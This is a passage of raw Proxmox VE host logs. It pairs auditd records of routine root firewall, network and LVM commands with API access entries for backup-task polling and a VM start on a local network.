a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.766:67621): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965655288,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.288:66539): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295832,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.832:60417): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965915886,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.886:67656): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965905766,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.766:67620): argc=1 a0=\"date\""} {"@timestamp":1781965655281,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.281:66538): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b1d30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63911 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295827,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.827:60416): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965915882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.882:67655): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55e660474740 items=0 ppid=1156 pid=64973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 785"} {"@timestamp":1781965905761,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.761:67618): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965655273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.273:66537): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63910 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.819:60415): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965915879,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.879:67654): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1478a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965080220,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965905753,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.753:67617): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965655266,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.266:66536): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c4690 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63909 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295813,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.813:60414): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965915873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.873:67653): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eb720 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965077216,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965905746,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.746:67616): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965655257,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.257:66535): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63908 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295810,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.810:60413): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965915867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.867:67652): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc134e90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965077216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1088"} {"@timestamp":1781965905738,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.738:67615): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965655249,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.249:66534): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63907 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295806,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.806:60412): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965915859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.859:67651): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d950 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64970 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965077216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:56 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 728"} {"@timestamp":1781965905731,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.731:67614): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965655244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.244:66533): arch=c000003e syscall=59 success=yes exit=0 a0=59777d5aeed0 a1=59777d5abc50 a2=59777d58d680 a3=5 items=2 ppid=63900 pid=63906 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295804,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.804:60411): argc=1 a0=\"date\""} {"@timestamp":1781965915852,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.852:67650): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134e90 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64969 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965077216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965905725,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.725:67612): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965655240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.240:66532): arch=c000003e syscall=59 success=yes exit=0 a0=597758c20ac8 a1=7ffcbef97580 a2=59777d58d680 a3=597758c0424e items=2 ppid=63900 pid=63902 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295800,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.800:60409): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965915845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.845:67649): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0bf070 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64968 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965077216,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:55 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965905717,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.717:67611): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965655238,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.238:66531): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcbef97540 a1=59777d594310 a2=59777d58d680 a3=5 items=2 ppid=63900 pid=63901 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295793,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.793:60408): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965915838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.838:67648): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc136170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965075692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:55 +0100] \"POST /api2/extjs/nodes/pve/qemu/877/status/start HTTP/1.1\" 200 80"} {"@timestamp":1781965905710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.710:67610): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965655233,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.233:66529): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63900 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295786,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.786:60407): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965915830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.830:67647): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965075692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:54 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965905704,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.704:67609): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965655223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.223:66528): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63899 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295781,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.781:60406): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965915827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.827:67646): arch=c000003e syscall=59 success=yes exit=0 a0=5b91bed960a0 a1=5b91bed92e20 a2=5b91bed74680 a3=5 items=2 ppid=64959 pid=64965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965075692,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:54 +0100] \"GET /api2/json/nodes/pve/storage/local/content?content=backup HTTP/1.1\" 200 214"} {"@timestamp":1781965905697,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.697:67608): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965655212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.212:66527): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63898 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295774,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.774:60405): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965915822,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.822:67645): arch=c000003e syscall=59 success=yes exit=0 a0=5b91ab6e9ac8 a1=7ffe4e49baf0 a2=5b91bed74680 a3=5b91ab6cd24e items=2 ppid=64959 pid=64961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965905691,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.691:67607): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965655206,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.206:66526): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c1f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63897 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964295766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964295.766:60404): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965915821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.821:67644): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe4e49bab0 a1=5b91bed7b310 a2=5b91bed74680 a3=5 items=2 ppid=64959 pid=64960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781965905683,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.683:67606): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965655194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.194:66525): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134ed0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63896 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964294127,"@rawstring":"node=pve type=EXECVE msg=audit(1781964294.127:60403): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965915817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.817:67642): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965905676,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.676:67605): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965655180,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965655.180:66524): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fbb70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964294097,"@rawstring":"node=pve type=EXECVE msg=audit(1781964294.097:60402): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965915809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.809:67641): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965072767&start=0&limit=510 HTTP/1.1\" 200 809"} {"@timestamp":1781965905671,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.671:67604): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964293633,"@rawstring":"node=pve type=EXECVE msg=audit(1781964293.633:60401): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965654243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965654.243:66523): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e06e0 a1=64f8d73b7dd0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.802:67640): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64957 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 486"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.668:67603): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=EXECVE msg=audit(1781964293.627:60398): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965654220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965654.220:66522): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcd30 a1=64f8d6f88c80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63891 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.797:67639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64956 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/extjs/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/log?_dc=1781965072544&start=0&limit=510 HTTP/1.1\" 200 808"} {"@timestamp":1781965905668,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.668:67602): argc=1 a0=\"date\""} {"@timestamp":1781964288617,"@rawstring":"node=pve type=EXECVE msg=audit(1781964288.617:60395): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.842:66521): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.789:67638): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc131570 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64955 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965074081,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:17:53 +0100] \"GET /api2/json/nodes/pve/tasks/UPID%3Apve%3A0000EF2B%3A0016A090%3A6A36A0FB%3Avzdump%3A877%3Aroot%40pam%3A/status HTTP/1.1\" 200 223"} {"@timestamp":1781965905664,"@rawstring":"node=pve type=EXECVE msg=audit(1781965905.664:67600): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964288605,"@rawstring":"node=pve type=EXECVE msg=audit(1781964288.605:60392): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.828:66518): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965915779,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965915.779:67637): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e20f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64954 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) 